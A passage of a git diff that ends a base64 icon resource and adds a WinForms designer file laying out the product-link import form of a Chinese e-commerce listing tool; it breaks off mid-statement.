EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/CleanDataForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/CleanDataForm.Designer.cs new file mode 100644 index 0000000..6af9524 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CleanDataForm.Designer.cs @@ -0,0 +1,236 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class CleanDataForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CleanDataForm)); + this.chkIsUseProxy = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.buttonLoginPdd = new DevComponents.DotNetBar.ButtonX(); + this.btnImport = new DevComponents.DotNetBar.ButtonX(); + this.txtProduct = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX10 = new DevComponents.DotNetBar.LabelX(); + this.chkIsUseResourcePack = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.pbPaste = new System.Windows.Forms.PictureBox(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label1 = new System.Windows.Forms.Label(); + this.btnSearch = new LittleRabbit.UserControls.ButtonEx(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // chkIsUseProxy + // + // + // + // + this.chkIsUseProxy.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkIsUseProxy.FocusCuesEnabled = false; + this.chkIsUseProxy.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkIsUseProxy.Location = new System.Drawing.Point(156, 217); + this.chkIsUseProxy.Name = "chkIsUseProxy"; + this.chkIsUseProxy.Size = new System.Drawing.Size(82, 23); + this.chkIsUseProxy.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkIsUseProxy.TabIndex = 51; + this.chkIsUseProxy.Text = "使用代理IP"; + this.chkIsUseProxy.Visible = false; + this.chkIsUseProxy.CheckedChanged += new System.EventHandler(this.chkIsUseProxy_CheckedChanged); + // + // buttonLoginPdd + // + this.buttonLoginPdd.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.buttonLoginPdd.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonLoginPdd.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.buttonLoginPdd.Font = new System.Drawing.Font("微软雅黑", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonLoginPdd.Location = new System.Drawing.Point(353, 174); + this.buttonLoginPdd.Name = "buttonLoginPdd"; + this.buttonLoginPdd.Size = new System.Drawing.Size(89, 29); + this.buttonLoginPdd.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.buttonLoginPdd.TabIndex = 48; + this.buttonLoginPdd.Text = "拼多多登录"; + this.buttonLoginPdd.TextColor = System.Drawing.Color.White; + this.buttonLoginPdd.ThemeAware = true; + this.buttonLoginPdd.Visible = false; + // + // btnImport + // + this.btnImport.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnImport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnImport.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.btnImport.FocusCuesEnabled = false; + this.btnImport.Font = new System.Drawing.Font("微软雅黑", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnImport.Location = new System.Drawing.Point(254, 174); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(89, 29); + this.btnImport.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnImport.TabIndex = 44; + this.btnImport.Text = "导入链接"; + this.btnImport.TextColor = System.Drawing.Color.White; + this.btnImport.ThemeAware = true; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // txtProduct + // + this.txtProduct.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtProduct.Border.Class = "TextBoxBorder"; + this.txtProduct.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtProduct.Font = new System.Drawing.Font("新宋体", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtProduct.Location = new System.Drawing.Point(155, 129); + this.txtProduct.Name = "txtProduct"; + this.txtProduct.PreventEnterBeep = true; + this.txtProduct.Size = new System.Drawing.Size(727, 29); + this.txtProduct.TabIndex = 46; + this.txtProduct.TextChanged += new System.EventHandler(this.txtProduct_TextChanged); + // + // labelX10 + // + this.labelX10.BackColor = System.Drawing.Color.Transparent; + // + // + // + this.labelX10.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX10.Font = new System.Drawing.Font("微软雅黑", 15F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.labelX10.Location = new System.Drawing.Point(61, 132); + this.labelX10.Name = "labelX10"; + this.labelX10.Size = new System.Drawing.Size(92, 23); + this.labelX10.TabIndex = 45; + this.labelX10.Text = "宝贝网址"; + // + // chkIsUseResourcePack + // + // + // + // + this.chkIsUseResourcePack.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkIsUseResourcePack.FocusCuesEnabled = false; + this.chkIsUseResourcePack.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkIsUseResourcePack.Location = new System.Drawing.Point(254, 217); + this.chkIsUseResourcePack.Name = "chkIsUseResourcePack"; + this.chkIsUseResourcePack.Size = new System.Drawing.Size(82, 23); + this.chkIsUseResourcePack.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkIsUseResourcePack.TabIndex = 52; + this.chkIsUseResourcePack.Text = "使用资源包"; + this.chkIsUseResourcePack.Visible = false; + // + // pbPaste + // + this.pbPaste.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pbPaste.BackColor = System.Drawing.Color.White; + this.pbPaste.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pbPaste.Image = global::LittleRabbit.Properties.Resources.FullPaste; + this.pbPaste.Location = new System.Drawing.Point(879, 129); + this.pbPaste.Name = "pbPaste"; + this.pbPaste.Size = new System.Drawing.Size(33, 29); + this.pbPaste.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbPaste.TabIndex = 50; + this.pbPaste.TabStop = false; + this.pbPaste.Click += new System.EventHandler(this.pbPaste_Click); + // + // pictureBox1 + // + this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.pictureBox1.BackColor = System.Drawing.Color.Transparent; + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(470, 172); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(33, 32); + this.pictureBox1.TabIndex = 49; + this.pictureBox1.TabStop = false; + this.pictureBox1.Visible = false; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label1.Location = new System.Drawing.Point(2, 240); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(969, 34); + this.label1.TabIndex = 53; + this.label1.Text = "正在初始化店铺类目,请稍候"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.label1.Visible = false; + // + // btnSearch + // + this.btnSearch.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSearch.FlatAppearance.BorderSize = 0; + this.btnSearch.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnSearch.Font = new System.Drawing.Font("微软雅黑", 12F); + this.btnSearch.ForeColor = System.Drawing.Color.White; + this.btnSearch.Location = new System.Drawing.Point(155, 174); + this.btnSearch.Margin = 